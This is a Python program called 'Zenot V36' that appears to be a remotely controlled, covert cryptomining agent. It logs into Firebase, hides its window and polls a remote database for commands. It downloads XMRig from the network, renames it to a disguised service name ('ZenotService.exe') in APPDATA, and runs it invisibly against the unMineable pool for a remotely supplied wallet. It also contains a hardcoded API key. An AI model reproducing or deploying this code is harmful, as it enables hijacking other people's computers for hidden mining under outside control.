import tkinter as tk import requests, threading, time, os, subprocess, socket, zipfile, shutil # CONFIG API_KEY = "AIzaSyBrKWSjYj7x8gUKPXUyHKTidAFtOIa5ul4" DB_URL = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app" MINER_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" FAKE_NAME = "ZenotService.exe" class ZenotV36: def __init__(self, root): self.root = root self.root.title("Zenot V36") self.root.geometry("320x400") self.root.configure(bg="#000") self.worker_id = socket.gethostname() self.uid = None self.current_coin = "IDLE" self.current_cpu = 0 self.setup_ui() def setup_ui(self): tk.Label(self.root, text="ZENOT V36", font=("Arial", 22, "bold"), fg="#00f3ff", bg="#000").pack(pady=40) self.e_mail = tk.Entry(self.root, width=25, bg="#111", fg="#fff"); self.e_mail.pack(pady=5) self.e_pass = tk.Entry(self.root, width=25, show="*", bg="#111", fg="#fff"); self.e_pass.pack(pady=5) tk.Button(self.root, text="CONNECT NODE", bg="#bc13fe", fg="#fff", font=("Arial", 10, "bold"), command=self.login).pack(pady=20) def login(self): try: r = requests.post(f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}", json={"email":self.e_mail.get(), "password":self.e_pass.get(), "returnSecureToken":True}) if "localId" in r.json(): self.uid = r.json()["localId"] self.root.withdraw() threading.Thread(target=self.loop, daemon=True).start() except: pass def loop(self): last_ts = 0 while True: try: # Báo cáo Web requests.patch(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}.json", json={"last_seen": int(time.time() * 1000), "coin": self.current_coin, "cpu": self.current_cpu}) # Nhận lệnh r = requests.get(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}/command.json") cmd = r.json() if cmd and cmd.get("timestamp", 0) > last_ts: last_ts = cmd["timestamp"] if cmd["action"] == "START": self.current_coin, self.current_cpu = cmd["coin"], cmd["cpu"] self.start_miner(cmd["coin"], cmd["wallet"], cmd["cpu"]) else: self.current_coin, self.current_cpu = "IDLE", 0 os.system(f"taskkill /f /im {FAKE_NAME}") time.sleep(10) except: time.sleep(20) def start_miner(self, coin, wallet, cpu): folder = os.path.join(os.getenv('APPDATA'), 'ZenotV36') if not os.path.exists(folder): os.makedirs(folder) exe = os.path.join(folder, FAKE_NAME) # Download if missing if not os.path.exists(exe): r = requests.get(MINER_URL, stream=True) with open(os.path.join(folder, "p.zip"), 'wb') as f: f.write(r.content) with zipfile.ZipFile(os.path.join(folder, "p.zip"), 'r') as z: z.extractall(folder) for r, d, fs in os.walk(folder): if "xmrig.exe" in fs: shutil.move(os.path.join(r, "xmrig.exe"), exe) os.system(f"taskkill /f /im {FAKE_NAME}") # unMineable format: COIN:WALLET.WORKERNAME user_string = f"{coin}:{wallet}.{self.worker_id}" args = [exe, '-o', 'rx.unmineable.com:3333', '-a', 'rx/0', '-u', user_string, '--max-cpu-usage', str(cpu), '--background'] subprocess.Popen(args, creationflags=subprocess.CREATE_NO_WINDOW) if __name__ == "__main__": root = tk.Tk(); ZenotV36(root); root.mainloop()